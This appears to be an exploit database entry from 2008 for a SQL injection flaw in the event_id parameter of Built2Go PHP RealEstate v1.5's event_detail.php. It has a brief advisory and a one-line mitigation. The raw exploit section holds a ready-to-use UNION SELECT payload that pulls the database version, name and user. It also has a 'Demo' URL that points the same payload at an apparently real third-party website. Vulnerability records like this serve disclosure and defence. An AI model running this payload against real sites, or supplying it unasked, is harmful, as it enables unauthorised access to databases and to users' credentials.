Built2Go PHP RealEstate v1.5 (event_detail.php) - SQL Injection Vulnerability

vendor:

PHP RealEstate

by:

d3v1l

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: PHP RealEstate

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: NO

Related CWE: N/A

CPE: a:built2go:php_realestate:1.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Built2Go PHP RealEstate v1.5 (event_detail.php) – SQL Injection Vulnerability

A vulnerability exists in Built2Go PHP RealEstate v1.5, which allows an attacker to inject arbitrary SQL commands via the 'event_id' parameter in 'event_detail.php'. An attacker can exploit this vulnerability to gain access to sensitive information from the database, such as usernames and passwords.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

[~]-----------------------------------------------------------------------------
[~] Built2Go PHP RealEstate v1.5 (event_detail.php) - SQL Injection Vulnerability
[~]
[~] [A professional real estate listings website.
[~] Lists homes for sale and apartments for rent,
[~] and provides a powerful search similar to the professional realtor websites.
[~] Allow visitors to list for free, or enforce free or paid registrations.]
[~] Price :- $69.95
[~] http://www.hotscripts.com/Detailed/59295.html
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 07.10.2008
[~]
[~]
[~] d3v1l@spoofer.com  http://security-sh3ll.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/event_detail.php?event_id=-1 UNION SELECT
1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*
[~]
[~] Demo :-
[~]
[~] http://www.agrents.com/event_detail.php?event_id=-1 UNION SELECT 1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*
[~]
[~]--------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-10-07]